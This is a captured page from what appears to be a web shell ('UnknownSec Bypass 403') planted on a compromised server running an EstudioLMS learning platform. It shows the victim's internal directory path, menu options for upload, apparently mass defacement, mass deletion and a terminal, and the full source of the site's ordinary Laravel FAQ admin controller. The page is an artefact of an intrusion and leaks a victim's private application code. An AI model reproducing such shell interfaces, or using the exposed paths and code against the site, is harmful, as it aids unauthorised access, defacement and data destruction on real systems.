UnknownSec Bypass
403
:
/
mnt
/
lmsestudio-instance-vol002
/
lms_67ca2121a395
/
app
/
Http
/
Controllers
/
Admin
/
Faq
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
FaqController.php
<?php namespace EstudioLMS\Http\Controllers\Admin\Faq; use EstudioLMS\Base\ResponseBuilder; use EstudioLMS\Http\Controllers\Controller; use EstudioLMS\Http\Requests; use EstudioLMS\Http\Requests\Admin\Faq\FaqRequest; use EstudioLMS\Models\Faq\FaqTranslation; use EstudioLMS\Repositories\Blog\LanguageRepository; use EstudioLMS\Repositories\Faq\FaqRepository; use Illuminate\Http\Request; use mjanssen\BreadcrumbsBundle\Breadcrumbs; /** * Class FaqController * @package EstudioLMS\Http\Controllers\Admin\Faq */ class FaqController extends Controller { /** * @var ResponseBuilder */ private $responseBuilder; /** * @var Breadcrumbs */ private $breadCrumbs; /** * @var FaqRepository */ private $faqRepository; /** * @var LanguageRepository */ private $languagesRepository; /** * @param ResponseBuilder $responseBuilder * @param Breadcrumbs $breadCrumbs * @param FaqRepository $faqRepository * @param LanguageRepository $languagesRepository */ public function __construct( ResponseBuilder $responseBuilder, Breadcrumbs $breadCrumbs, FaqRepository $faqRepository, LanguageRepository $languagesRepository ) { $this->middleware('admins'); $this->responseBuilder = $responseBuilder; $this->breadCrumbs = $breadCrumbs; $this->faqRepository = $faqRepository; $this->languagesRepository = $languagesRepository; } /** * @return mixed */ public function index() { $env = 'environment'; $title = trans('admin_faq.title'); $this->breadCrumbs->addBreadcrumb(trans('admin_master.breadDash'), route('admin.index')); $this->breadCrumbs->addBreadcrumb(trans('admin_faq.title'), route('admin.faq.index')); $bread = $this->breadCrumbs->generate(); return $this->responseBuilder->render( 'admin.faq.list_faq', [], compact('title', 'env', 'bread') ); } /** * @return array|FaqTranslation[]|\Illuminate\Database\Eloquent\Collection */ public function apiIndex() { $data = FaqTranslation::all(); foreach($data as $key => $reg) { $faq = $this->faqRepository->find($reg['faq_id']); $data[$key]['type'] = explode(', ', $faq['type']); $data[$key]['published'] = $faq['published']; $data[$key]['typeText'] = implode(', ', str_replace([1, 2, 3, 4], [trans('admin_faq.selectTypeCourses'), trans('admin_faq.selectTypeStudents'), trans('admin_faq.selectTypeAfilliate'), trans('admin_faq.selectTypeInstructor')], $data[$key]['type'])); $data[$key]['created_at'] = $faq['created_at']; $data[$key]['updated_at'] = $faq['updated_at']; } return $data; } /** * @return mixed */ public function create() { $env = ''; $title = trans('admin_faq.titleNew'); $this->breadCrumbs->addBreadcrumb(trans('admin_master.breadDash'), route('admin.index')); $this->breadCrumbs->addBreadcrumb(trans('admin_faq.title'), route('admin.faq.index')); $this->breadCrumbs->addBreadcrumb(trans('admin_faq.titleNew'), route('admin.faq.create')); $bread = $this->breadCrumbs->generate(); $identifiers = ['0' => trans('admin_faq.newIdentifier')] + $this->faqRepository->all()->lists('identifier', 'identifier')->toArray(); $languages = ['' => trans('admin_master.selectLanguage'), 'pt' => trans('admin_master.selectLanguagePt'), 'en' => trans('admin_master.selectLanguageEn'), 'es' => trans('admin_master.selectLanguageEs')]; return $this->responseBuilder->render( 'admin.faq.create', [], compact('title', 'env', 'bread', 'identifiers', 'languages') ); } /** * @param FaqRequest $request * @return \Illuminate\Http\RedirectResponse */ public function store(FaqRequest $request) { $data = $request->all(); $trans = $data['locale']; if ($data['identifier_fake'] == '0') { $create = [ $trans => [ 'question' => $data['question'], 'answer' => $data['answer'] ], 'identifier' => $data['identifier'], 'type' => implode(', ', $data['type']), 'published' => !empty($data['published']) ]; $this->faqRepository->create($create); } else { $register = $this->faqRepository->findWhere( [ ['identifier', '=', $data['identifier_fake']] ] )->first(); if ($register->hasTranslation($trans)) { $new = $register->getTranslation($trans, true); } else { $new = $register->getNewTranslation($trans); } $new->question = $data['question']; $new->answer = $data['answer']; $register->save(); $this->faqRepository->update( [ 'type' => implode(', ', $data['type']), 'published' => !empty($data['published']) ], $register['id'] ); } return redirect()->route('admin.faq.index'); } /** * @param $id * @param $lang * @return mixed */ public function edit($id, $lang) { $env = ''; $title = trans('admin_faq.titleEdit'); $this->breadCrumbs->addBreadcrumb(trans('admin_master.breadDash'), route('admin.index')); $this->breadCrumbs->addBreadcrumb(trans('admin_faq.title'), route('admin.faq.index')); $this->breadCrumbs->addBreadcrumb(trans('admin_faq.titleEdit'), route('admin.faq.create')); $bread = $this->breadCrumbs->generate(); \App::setLocale($lang); $faq = $this->faqRepository->find($id); $types = explode(', ', $faq['type']); $finalType = []; foreach($types as $type) { $finalType[$type] = $type; } $faq['type'] = $finalType; $identifiers = ['0' => trans('admin_faq.newIdentifier')] + $this->faqRepository->all()->lists('identifier', 'identifier')->toArray(); $languages = ['' => trans('admin_master.selectLanguage'), 'pt' => trans('admin_master.selectLanguagePt'), 'en' => trans('admin_master.selectLanguageEn'), 'es' => trans('admin_master.selectLanguageEs')]; return $this->responseBuilder->render( 'admin.faq.edit', compact('faq'), compact('title', 'env', 'bread', 'identifiers', 'languages') ); } /** * @param FaqRequest $request * @return \Illuminate\Http\RedirectResponse */ public function update(FaqRequest $request) { $data = $request->all(); $trans = $data['locale']; $register = $this->faqRepository->findWhere( [ ['identifier', '=', $data['identifier']] ] )->first(); if ($register->hasTranslation($trans)) { $new = $register->getTranslation($trans, true); } else { $new = $register->getNewTranslation($trans); } $new->question = $data['question']; $new->answer = $data['answer']; $register->save(); $this->faqRepository->update( [ 'identifier' => $data['identifier'], 'type' => implode(', ', $data['type']), 'published' => !empty($data['published']) ], $register['id'] ); return redirect()->route('admin.faq.index'); } /** * @param Request $request * @return array */ public function updateStatus(Request $request) { $data = $request->all(); $register = $this->faqRepository->find($data['id']); $published = $register['published'] == 0 ? 1 : 0; $this->faqRepository->update(['published' => $published], $data['id']); $success = trans('admin_master.success'); $message = trans('admin_master.msgSuccess'); $ret = ['success' => $success, 'message' => $message]; return $ret; } /** * @param Request $request * @return string[] */ public function destroy(Request $request) { $data = $request->all(); $success = trans('admin_master.attention'); if (isset($data['lang'])) { $delete = $this->faqRepository->find($data['id_faq']); $destroy = $delete->getTranslation($data['lang']); $destroy->delete(); $message = $destroy->question. trans('admin_master.msgDelete'); } else { $delete = $this->faqRepository->find($data['id_faq']); $delete->delete(); $message = $delete['identifier'].trans('admin_master.msgDelete'); } $ret = ['success' => $success, 'message' => $message]; return $ret; } }
Copyright © 2026 - UnknownSec